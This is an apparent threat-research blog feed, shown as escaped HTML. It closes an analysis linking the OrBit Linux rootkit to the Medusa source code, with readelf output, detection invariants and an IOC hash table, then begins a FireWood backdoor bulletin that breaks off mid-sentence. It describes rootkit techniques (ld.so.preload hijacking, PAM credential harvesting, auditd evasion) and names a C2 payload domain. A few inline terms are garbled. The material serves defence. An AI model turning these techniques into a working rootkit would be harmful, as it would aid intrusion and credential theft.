&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; 34: &lt;span class="m"&gt;0000000000000000&lt;/span&gt; &lt;span class="m"&gt;0&lt;/span&gt; FILE LOCAL DEFAULT ABS rkld.c
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; 40: &lt;span class="m"&gt;0000000000000000&lt;/span&gt; &lt;span class="m"&gt;0&lt;/span&gt; FILE LOCAL DEFAULT ABS rknet.c
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; 46: &lt;span class="m"&gt;0000000000000000&lt;/span&gt; &lt;span class="m"&gt;0&lt;/span&gt; FILE LOCAL DEFAULT ABS crtstuff.c
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$ readelf -s 3ba6c174a72e4b... &lt;span class="p"&gt;|&lt;/span&gt; awk &lt;span class="s1"&gt;&amp;#39;/FILE LOCAL/&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; 1: &lt;span class="m"&gt;0000000000000000&lt;/span&gt; &lt;span class="m"&gt;0&lt;/span&gt; FILE LOCAL DEFAULT ABS crtstuff.c
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; 9: &lt;span class="m"&gt;0000000000000000&lt;/span&gt; &lt;span class="m"&gt;0&lt;/span&gt; FILE LOCAL DEFAULT ABS rkld.c
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; 15: &lt;span class="m"&gt;0000000000000000&lt;/span&gt; &lt;span class="m"&gt;0&lt;/span&gt; FILE LOCAL DEFAULT ABS crtstuff.c
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$ readelf -s 26082cd36fdaf7... &lt;span class="p"&gt;|&lt;/span&gt; awk &lt;span class="s1"&gt;&amp;#39;/FILE LOCAL/&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; 1: &lt;span class="m"&gt;0000000000000000&lt;/span&gt; &lt;span class="m"&gt;0&lt;/span&gt; FILE LOCAL DEFAULT ABS crtstuff.c
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; 9: &lt;span class="m"&gt;0000000000000000&lt;/span&gt; &lt;span class="m"&gt;0&lt;/span&gt; FILE LOCAL DEFAULT ABS rkload.c
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; 14: &lt;span class="m"&gt;0000000000000000&lt;/span&gt; &lt;span class="m"&gt;0&lt;/span&gt; FILE LOCAL DEFAULT ABS crtstuff.c&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The Lineage A rootkit carries both &lt;code&gt;rkld.c&lt;/code&gt; and &lt;code&gt;rknet.c&lt;/code&gt;; the Lineage B
rootkit, which omits the advanced hook set, carries only &lt;code&gt;rkld.c&lt;/code&gt;; and the
loader carries &lt;code&gt;rkload.c&lt;/code&gt;. The same pattern holds across the wider corpus.&lt;/p&gt;
&lt;p&gt;Alongside the filename fingerprint, the loader&amp;rsquo;s entry-point dispatch, its
&lt;a href="https://github.com/ldpreload/Medusa/blob/master/src/rkload.c#L67"target="_blank" rel="noopener"&gt;build_root()&lt;/a&gt;
filesystem layout (&lt;code&gt;.boot.sh&lt;/code&gt;, &lt;code&gt;.logpam&lt;/code&gt;, &lt;code&gt;sshpass.txt&lt;/code&gt;, &lt;code&gt;sshpass2.txt&lt;/code&gt;,
&lt;code&gt;.ports&lt;/code&gt;), and its SELinux &lt;code&gt;setxattr&lt;/code&gt; sequence all map one-to-one to the Medusa
source.&lt;/p&gt;
&lt;p&gt;The third is an embedded inner ELF produced by &lt;code&gt;xxd -i&lt;/code&gt;. Medusa&amp;rsquo;s Makefile
embeds &lt;code&gt;build/rkld.so&lt;/code&gt; into the loader using the
&lt;a href="https://github.com/ldpreload/Medusa/blob/master/Makefile#L31"target="_blank" rel="noopener"&gt;xxd -i build/rkld.so &amp;gt; build/rkld.h&lt;/a&gt;
step, which is then included by the loader compiled at
&lt;a href="https://github.com/ldpreload/Medusa/blob/master/Makefile#L33"target="_blank" rel="noopener"&gt;Makefile line 33&lt;/a&gt;.
OrBit&amp;rsquo;s loader binaries follow this pattern: a &lt;code&gt;rkld.so&lt;/code&gt; blob embedded as a C
byte array within the loader ELF, dropped to disk at runtime. The embedding
technique, offset layout, and post-drop execution flow are identical.&lt;/p&gt;
&lt;h3&gt;Per-Module Source Mapping&lt;span class="hx:absolute hx:-mt-20" id="per-module-source-mapping"&gt;&lt;/span&gt;
&lt;a href="#per-module-source-mapping" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Medusa&amp;rsquo;s source tree maps cleanly onto the OrBit binary set we have tracked:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Medusa source&lt;/th&gt;
&lt;th&gt;Role&lt;/th&gt;
&lt;th&gt;Corresponding OrBit artifact&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;src/rkld.c&lt;/td&gt;
&lt;td&gt;Main rootkit (libc hooks, PAM harvest, file/proc/net hiding)&lt;/td&gt;
&lt;td&gt;All Lineage A / Lineage B rootkit .so samples&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;src/rkload.c&lt;/td&gt;
&lt;td&gt;Installer / SEAELF loader (patches ld.so, writes /etc/ld.so.preload, drops inner rootkit)&lt;/td&gt;
&lt;td&gt;26082cd3 and related loader/installer samples&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;src/rknet.c&lt;/td&gt;
&lt;td&gt;Advanced hooks: xread, audit_log_acct_message, audit_log_user_message, pam_sm_authenticate, pcap_loop, port-hiding&lt;/td&gt;
&lt;td&gt;Not compiled in the default Makefile. Linked in only in Lineage A &amp;ldquo;full&amp;rdquo; builds.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;The Medusa default &lt;code&gt;Makefile&lt;/code&gt; compiles only &lt;code&gt;src/rkld.c&lt;/code&gt;. Every Lineage A
capability that appeared to &amp;ldquo;arrive&amp;rdquo; in OrBit between 2023 and 2025 was already
present as source in Medusa&amp;rsquo;s &lt;code&gt;src/rknet.c&lt;/code&gt; on day one of the public release.
The operators&amp;rsquo; work was to modify the Makefile to link &lt;code&gt;rknet.c&lt;/code&gt; into their
build, not to author those functions.&lt;/p&gt;
&lt;h3&gt;Timeline Anomaly&lt;span class="hx:absolute hx:-mt-20" id="timeline-anomaly"&gt;&lt;/span&gt;
&lt;a href="#timeline-anomaly" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Our analysis shows that an initial OrBit sample (&lt;code&gt;40b5127c&lt;/code&gt;) appeared in July
2022, predating the repository&amp;rsquo;s publication by approximately 5 months. Based
on this information, there are two options: either the Medusa author published
a privately-circulated rootkit source that had already been deployed
operationally, or the earliest OrBit sample was built from a pre-publication
snapshot of the same tree. Either way, the 2022 OrBit sample and the December
2022 Medusa source tree are the same codebase. The question is only which
commit was made public first.&lt;/p&gt;
&lt;h3&gt;Implications&lt;span class="hx:absolute hx:-mt-20" id="implications"&gt;&lt;/span&gt;
&lt;a href="#implications" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;The appearance of a single rootkit family across four years does not imply a
single operator. OrBit and Medusa have been built and deployed by at least
three unrelated actor clusters we can presently distinguish, including the
state-sponsored espionage activity attributed to UNC3886, the eCrime ransomware
operations run by BLOCKADE SPIDER, and the 2025 cron-dropper campaign
previously linked to RHOMBUS infrastructure. Attribution at the family level is
therefore not enough, and defenders tracking an OrBit infection should separate
the questions of which codebase was used from which operator configured and
deployed it.&lt;/p&gt;
&lt;p&gt;Tracking version-over-version changes in OrBit reads less like an active
malware development project and more like a record of build-flag toggles,
credential rotations, and install-path swaps against a stable upstream. The
capability ceiling is set by the Medusa source tree as it existed in December
2022, and every apparent new feature we observed between 2023 and 2025 was
already present in that tree, waiting for an operator to link it in. The
&lt;a href="https://github.com/ldpreload/Medusa/blob/master/src/rknet.c#L118"target="_blank" rel="noopener"&gt;xread read-hook bypass&lt;/a&gt;
we first flagged as a 2023 compatibility shim is a function in &lt;code&gt;src/rknet.c&lt;/code&gt;.
The auditd evasion pair we called out as a 2024 addition,
&lt;a href="https://github.com/ldpreload/Medusa/blob/master/src/rknet.c#L192"target="_blank" rel="noopener"&gt;audit_log_acct_message&lt;/a&gt;
and
&lt;a href="https://github.com/ldpreload/Medusa/blob/master/src/rknet.c#L235"target="_blank" rel="noopener"&gt;audit_log_user_message&lt;/a&gt;,
sits in the same file. The PAM stack we noted as gradually expanding across
versions, including
&lt;a href="https://github.com/ldpreload/Medusa/blob/master/src/rknet.c#L305"target="_blank" rel="noopener"&gt;pam_authenticate&lt;/a&gt;,
&lt;a href="https://github.com/ldpreload/Medusa/blob/master/src/rknet.c#L350"target="_blank" rel="noopener"&gt;pam_acct_mgmt&lt;/a&gt;,
&lt;a href="https://github.com/ldpreload/Medusa/blob/master/src/rknet.c#L365"target="_blank" rel="noopener"&gt;pam_open_session&lt;/a&gt;,
and the 2025 service-side impersonation hook
&lt;a href="https://github.com/ldpreload/Medusa/blob/master/src/rknet.c#L381"target="_blank" rel="noopener"&gt;pam_sm_authenticate&lt;/a&gt;,
is all present in the same &lt;code&gt;rknet.c&lt;/code&gt;, as is the
&lt;a href="https://github.com/ldpreload/Medusa/blob/master/src/rknet.c#L491"target="_blank" rel="noopener"&gt;pcap_loop&lt;/a&gt;
packet hook that appears in full Lineage A builds. None of these files is
linked in by the
&lt;a href="https://github.com/ldpreload/Medusa/blob/master/Makefile#L30"target="_blank" rel="noopener"&gt;default Makefile recipe&lt;/a&gt;,
which compiles only &lt;code&gt;src/rkld.c&lt;/code&gt;. Their arrival in individual OrBit samples
corresponds to an operator modifying the build to include rknet.c, not to new
code being written.&lt;/p&gt;
&lt;p&gt;Signatures based on invariants of the Medusa build pipeline will also flag
builds from operators we have not yet seen. Three such invariants are worth
calling out.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The string table produced by Medusa&amp;rsquo;s
&lt;a href="https://github.com/ldpreload/Medusa/blob/master/src/config.c#L180"target="_blank" rel="noopener"&gt;xor_dump() routine&lt;/a&gt;,
which emits every protected string as a contiguous block of single-byte
XOR-obfuscated byte arrays within the compiled binary. Operators change the
key value (0xA2 in most builds, 0xAA in the 2024 UNC3886 cluster) and some
paths, but the table&amp;rsquo;s shape and the majority of its entries are fixed by the
source. A YARA rule that decodes the table with a variable single-byte key
and matches on a threshold count of known plaintext strings catches any
build, regardless of which key was chosen.&lt;/li&gt;
&lt;li&gt;The filesystem skeleton that the loader&amp;rsquo;s
&lt;a href="https://github.com/ldpreload/Medusa/blob/master/src/rkload.c#L67"target="_blank" rel="noopener"&gt;build_root()&lt;/a&gt;
writes into its install directory. Operators vary only the parent directory
(&lt;code&gt;/lib/libseconf/&lt;/code&gt;, &lt;code&gt;/lib/locate/&lt;/code&gt;, &lt;code&gt;/lib/libntpVnQE6mk/&lt;/code&gt;), so host-based
detection can alert on the co-occurrence of that filename set inside any
directory, and binary-level signatures can match the embedded filename
constants and the &lt;code&gt;setxattr&lt;/code&gt; call pattern directly.&lt;/li&gt;
&lt;li&gt;The nested-ELF structure produced by the
&lt;a href="https://github.com/ldpreload/Medusa/blob/master/Makefile#L31"target="_blank" rel="noopener"&gt;xxd - +i build/rkld.so &amp;gt; build/rkld.h&lt;/a&gt;
step in the Makefile, which bakes a full secondary ELF into the loader&amp;rsquo;s
&lt;code&gt;.rodata&lt;/code&gt;. Every Medusa loader therefore carries a second ELF magic inside
its own image, followed by a length constant, and, if the binary is not
stripped, two &lt;code&gt;xxd&lt;/code&gt;-generated symbols (&lt;code&gt;rkld_so&lt;/code&gt; and &lt;code&gt;rkld_so_len&lt;/code&gt; ). The
nested-ELF shape on its own is not specific enough to be a detection
signature: plenty of legitimate software and unrelated malware use &lt;code&gt;xxd -i&lt;/code&gt;
or equivalent techniques to embed a payload, and any such binary will match a
naive &amp;ldquo;second ELF at non-zero offset plus length constant&amp;rdquo; rule. The
Medusa-specific part is the pairing of that structural pattern with (a) the
symbol names &lt;code&gt;rkld_s&lt;/code&gt;o and &lt;code&gt;rk +ld_so_len&lt;/code&gt; in the loader&amp;rsquo;s symbol table when
the binary is not stripped, and (b) the inner ELF itself, matching the
rootkit fingerprint described earlier in this section, which gives both a
family-level anchor and a structural one.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Conclusion&lt;span class="hx:absolute hx:-mt-20" id="conclusion"&gt;&lt;/span&gt;
&lt;a href="#conclusion" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;The analysis of OrBit variants from 2022 through early 2026 reveals a Linux
rootkit whose code later surfaced in an open-source codebase named Medusa. This
suggests that the backdoor was created before its public release and has since
been selectively forked, configured, and redeployed by multiple operators over
four years. We identified two parallel build paths: the comprehensive Lineage A
(&amp;ldquo;Full&amp;rdquo; build), which links in Medusa&amp;rsquo;s &lt;code&gt;src/rknet.c&lt;/code&gt; advanced hook set, and
the temporary Lineage B (lite build), which ships only the &lt;code&gt;src/rkld.c&lt;/code&gt; core
and was retired after 2024. Apparent &amp;ldquo;milestones&amp;rdquo; in Lineage A are the xread
wrapper (2023), the audit_log_* auditd-evasion hooks (2024), and the 2025
addition of the &lt;code&gt;pam_sm_authenticate&lt;/code&gt; hook, which corresponds one-to-one with
functions already present in Medusa&amp;rsquo;s published source. The operator work is in
the build configuration and deployment, not the C code.&lt;/p&gt;
&lt;p&gt;Our analysis of the OrBit samples also discovered that at least 3 different
operators are using the backdoor. A major operational shift occurred in 2025
with the introduction of a new two-stage infector architecture, marking one
operator&amp;rsquo;s transition from a purely passive SSH-backdoor implant to malware
with its first direct C2 capability. This infector utilizes a cron job to fetch
external payloads from the domain cf0[.]pw. The architecture of this new
dropper is identical to one used in the 2020 RHOMBUS botnet campaign,
suggesting shared tooling or operator overlap, a link further cemented by the
C2 domain resolving to infrastructure located in Russia. In parallel, the same
Medusa codebase was weaponized upstream by the state-sponsored espionage actor
UNC3886 (tracked by Mandiant). The 2024 0xAA-key cluster we tracked as Lineage
A corresponds exactly to UNC3886&amp;rsquo;s MEDUSA configuration, including the backdoor
credentials, the install path, and a strace artifact that retains the literal
&amp;ldquo;orbit&amp;rdquo; string. The rootkit has also been adopted by the CrowdStrike-tracked
eCrime adversary BLOCKADE SPIDER since at least 2024, who leverage OrBit for
stealthy persistence against VMware vCenter infrastructure to facilitate the
deployment of Embargo ransomware. The continued emergence of new Lineage A
samples in 2026, accompanied by operator-specific credential rotation, confirms
that a single public rootkit codebase is being cloned and configured by
multiple unrelated actor groups.&lt;/p&gt;
&lt;h2&gt;IOC Table&lt;span class="hx:absolute hx:-mt-20" id="ioc-table"&gt;&lt;/span&gt;
&lt;a href="#ioc-table" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;SHA256&lt;/th&gt;
&lt;th&gt;Year&lt;/th&gt;
&lt;th&gt;Role&lt;/th&gt;
&lt;th&gt;Lineage&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;40b5127c8cf9d6bec4dbeb61ba766a95c7b2d0cafafcb82ede5a3a679a3e3020&lt;/td&gt;
&lt;td&gt;2022&lt;/td&gt;
&lt;td&gt;payload&lt;/td&gt;
&lt;td&gt;A&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ec7462c3f4a87430eb19d16cfd775c173f4ba60d2f43697743db991c3d1c3067&lt;/td&gt;
&lt;td&gt;2022&lt;/td&gt;
&lt;td&gt;payload&lt;/td&gt;
&lt;td&gt;A&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;f1612924814ac73339f777b48b0de28b716d606e142d4d3f4308ec648e3f56c8&lt;/td&gt;
&lt;td&gt;2022&lt;/td&gt;
&lt;td&gt;dropper&lt;/td&gt;
&lt;td&gt;-&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;d419a9b17f7b4c23fd4e80a9bce130d2a13c307fccc4bfbc4d49f6b770d06d3b&lt;/td&gt;
&lt;td&gt;2023&lt;/td&gt;
&lt;td&gt;payload&lt;/td&gt;
&lt;td&gt;A&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;296d28eb7b66aa2cbea7d9c2e7dc1ad6ce6f97d44d34139760c38817aec083e7&lt;/td&gt;
&lt;td&gt;2023&lt;/td&gt;
&lt;td&gt;payload&lt;/td&gt;
&lt;td&gt;A&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3ba6c174a72e4bf5a10c8aaadab2c4b98702ee2308438e94a5512b69df998d5a&lt;/td&gt;
&lt;td&gt;2023&lt;/td&gt;
&lt;td&gt;payload&lt;/td&gt;
&lt;td&gt;B&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4203271c1a0c24443b7e85cbf066c9928fcc69934772a431d779017fb85c9d73&lt;/td&gt;
&lt;td&gt;2023&lt;/td&gt;
&lt;td&gt;payload&lt;/td&gt;
&lt;td&gt;B&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;eea274eddd712fe0b4434dbef6a2a92810cb13b8be3deca0571410ee78d37c9f&lt;/td&gt;
&lt;td&gt;2024&lt;/td&gt;
&lt;td&gt;payload&lt;/td&gt;
&lt;td&gt;A&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;a61386384173b352e3bd90dcef4c7268a73cd29f6ae343c15b92070b1354a349&lt;/td&gt;
&lt;td&gt;2024&lt;/td&gt;
&lt;td&gt;payload&lt;/td&gt;
&lt;td&gt;A&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;a34299a16cf30dac1096c1d24188c72eed1f9d320b1585fe0de4692472e3d4dc&lt;/td&gt;
&lt;td&gt;2024&lt;/td&gt;
&lt;td&gt;payload&lt;/td&gt;
&lt;td&gt;B&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;b1dd18a6a4b0c6e2589312bbec55b392a20a95824ffe630a73c94d24504c553d&lt;/td&gt;
&lt;td&gt;2024&lt;/td&gt;
&lt;td&gt;payload&lt;/td&gt;
&lt;td&gt;B&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;989f7eb4f805591839bcbc321dd44418eb5694d1342e37b7f24126817f10e37e&lt;/td&gt;
&lt;td&gt;2024&lt;/td&gt;
&lt;td&gt;payload (extracted)&lt;/td&gt;
&lt;td&gt;B&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;8ea420d9aa341ba23cdea0ac03951bce866c933ba297268bc7db8a01ce8e9b8e&lt;/td&gt;
&lt;td&gt;2024&lt;/td&gt;
&lt;td&gt;payload (static ELF)&lt;/td&gt;
&lt;td&gt;A&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;26082cd36fdaf76ec0d74b7fbf455418c49fbab64b20892a873c415c3bb60675&lt;/td&gt;
&lt;td&gt;2024&lt;/td&gt;
&lt;td&gt;loader&lt;/td&gt;
&lt;td&gt;-&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;48a68d0555f850c36f7d338b1a42ed1a661043cacf2ba2a4b0a347fac3cb3ee6&lt;/td&gt;
&lt;td&gt;2024&lt;/td&gt;
&lt;td&gt;dropper&lt;/td&gt;
&lt;td&gt;-&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;fc2e0cb627a00d0e4509bd319271721ea74fb11150847213abe9e8fea060cc8a&lt;/td&gt;
&lt;td&gt;2024&lt;/td&gt;
&lt;td&gt;dropper&lt;/td&gt;
&lt;td&gt;-&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;8e83cbb2ed12faba9b452ea41291bcebdce08162f64ac9a5f82592df62f47613&lt;/td&gt;
&lt;td&gt;2025&lt;/td&gt;
&lt;td&gt;payload&lt;/td&gt;
&lt;td&gt;A&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2b2eeb2271c19e2097a0ef0d90b2b615c20f726590bbfee139403db1dced5b0a&lt;/td&gt;
&lt;td&gt;2025&lt;/td&gt;
&lt;td&gt;payload&lt;/td&gt;
&lt;td&gt;A&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;84828f31d741f92ce4bca98cfc2148ff8cff6663e2908a025b1386dd4953ffef&lt;/td&gt;
&lt;td&gt;2025&lt;/td&gt;
&lt;td&gt;payload (truncated)&lt;/td&gt;
&lt;td&gt;A&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;090b15fd8912cab340b22e715d44db079ec641db5e2f92916aa1f2bc9236e03e&lt;/td&gt;
&lt;td&gt;2025&lt;/td&gt;
&lt;td&gt;dropper&lt;/td&gt;
&lt;td&gt;-&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;64a3ebd3ad3927fc783f6ac020d5a6192e9778fb16b51cceba06e4ee5416adff&lt;/td&gt;
&lt;td&gt;2025&lt;/td&gt;
&lt;td&gt;dropper&lt;/td&gt;
&lt;td&gt;-&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;b85ed15756568b85148c1d432a8920f81e4b21f2bc38f0cf51d06ced619e0e77&lt;/td&gt;
&lt;td&gt;2025&lt;/td&gt;
&lt;td&gt;dropper&lt;/td&gt;
&lt;td&gt;-&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;d3d204c19d93e5e37697c7f80dd0de9f76a2fb4517ced9cafd7d7d46a6e285ba&lt;/td&gt;
&lt;td&gt;2025&lt;/td&gt;
&lt;td&gt;dropper&lt;/td&gt;
&lt;td&gt;-&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;73b95b7d1006caf8d3477e4a9a0994eaa469e98b70b8c198a82c4a12c91ad49a&lt;/td&gt;
&lt;td&gt;2025&lt;/td&gt;
&lt;td&gt;infector&lt;/td&gt;
&lt;td&gt;-&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;04c06be0f65d3ead95f3d3dd26fe150270ac8b58890e35515f9317fc7c7723c9&lt;/td&gt;
&lt;td&gt;2026&lt;/td&gt;
&lt;td&gt;payload&lt;/td&gt;
&lt;td&gt;A&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;d7b487d2e840c4546661f497af0195614fc0906c03d187dc39815c811ea5ec3f&lt;/td&gt;
&lt;td&gt;2026&lt;/td&gt;
&lt;td&gt;payload&lt;/td&gt;
&lt;td&gt;A&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;b982276458a85cd3dd7c8aa6cb4bbb2d4885b385053f92395a99abbfb0e43784&lt;/td&gt;
&lt;td&gt;2020&lt;/td&gt;
&lt;td&gt;RHOMBUS dropper&lt;/td&gt;
&lt;td&gt;-&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;</description></item><item><title>Threat Bulletin: Fire in the Woods – A New Variant of FireWood</title><link>https://research.intezer.com/blog/2025/08/threat-bulletin-firewood/</link><pubDate>Wed, 13 Aug 2025 00:00:00 +0000</pubDate><guid>https://research.intezer.com/blog/2025/08/threat-bulletin-firewood/</guid><description>
&lt;p&gt;&lt;em&gt;A new and low-detected variant of the FireWood backdoor was discovered by
Intezer’s Research Team, with some changes in the implementation and the
configuration of the backdoor.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;FireWood is a Linux backdoor
&lt;a href="https://www.welivesecurity.com/en/eset-research/unveiling-wolfsbane-gelsemiums-linux-counterpart-to-gelsevirine/"target="_blank" rel="noopener"&gt;discovered&lt;/a&gt;
by ESET’s research team. They linked it to the long‑running &amp;ldquo;Project Wood&amp;rdquo;
malware lineage, which dates back to at least 2005 and includes usage in the
earlier Operation TooHash campaign. It functions as a remote access trojan
(RAT) on Linux systems, employing kernel‑level rootkit modules (e.g.,
usbdev.ko) and TEA‑based encryption to hide its presence, maintain persistence,
and communicate covertly with its command‑and‑control infrastructure. Once
deployed, likely via web shells left on compromised Linux desktops, it enables
attackers to execute commands, exfiltrate sensitive data such as system
information and credentials, and operate stealthily over prolonged espionage
operations. The backdoor has low confidence connections to the China-aligned
Gelsemium APT group, as the overlaps may be coincidental or reflect shared
tools across multiple groups.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;We found a new and low-detected variant of the FireWood backdoor&lt;/strong&gt;. The core
functionality of the backdoor remains the same but we did notice some changes
in the implementation and the configuration of the backdoor. It is unclear if
the kernel module was also updated as we were not able to collect it.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2025/08/threat-bulletin-firewood/images/fig1.png" title="Code analysis of the new version in Intezer." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Code analysis of the new version in Intezer.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2025/08/threat-bulletin-firewood/images/fig2.png" title="SHA256: 898a5bd86c5d99eb70088a90f1d8f90b03bd38c15a232200538d0601c888acb6" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;SHA256: 898a5bd86c5d99eb70088a90f1d8f90b03bd38c15a232200538d0601c888acb6&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h2&gt;Technical Analysis of New Firewood Variant&lt;span class="hx:absolute hx:-mt-20" id="technical-analysis-of-new-firewood-variant"&gt;&lt;/span&gt;
&lt;a href="#technical-analysis-of-new-firewood-variant" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;In the older variant, execution began with an explicit permission gate, calling
&lt;code&gt;CUser::IsSuc()&lt;/code&gt;, and the process would exit if this check failed. In the newer
build, that early check is removed entirely. The new version defers any
root‑or‑kernel gating until after it daemonizes and saves its PID. To achieve
this, the code splits the former &lt;code&gt;SavePidAndCheckKernel()&lt;/code&gt; helper into two
discrete steps: an early &lt;code&gt;SavePid(pid)&lt;/code&gt;, followed later by
&lt;code&gt;CModuleControl::AutoLoad()&lt;/code&gt; and &lt;code&gt;CheckLkmLoad()&lt;/code&gt;. This separation clarifies
the startup sequence and enhances the hide‑via‑kernel‑module logic.
Additionally, rather than simply sending a stripped‑down identifier, the
updated version builds a larger buffer containing the process name,
hex‑formatted port, PID, a hardcoded “kde‑tra” process name, and a configurable
flag (or the literal “nothing”). That extra metadata is passed through
&lt;code&gt;CHideProcess::NetLinkInit()&lt;/code&gt;,
&lt;code&gt;CHideProcess::SendProcessName(&amp;amp;CHideProcess::mInstance)&lt;/code&gt;, and
&lt;code&gt;CHideProcess::Destroy()&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Note the typo in the method name &amp;ldquo;Destroy&amp;rdquo;, this error also appears in the
older Firewood variant. Another typo persists in both versions in the following
error message: &amp;ldquo;Get Memory Faile&amp;rdquo;.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2025/08/threat-bulletin-firewood/images/fig3.png" title="New evasion implementation and comparison of main functions" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;New evasion implementation and comparison of main functions&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;On the networking side, the older version read configuration settings that
defined both the number of days between beaconing and a &lt;code&gt;delayTime&lt;/code&gt; specifying
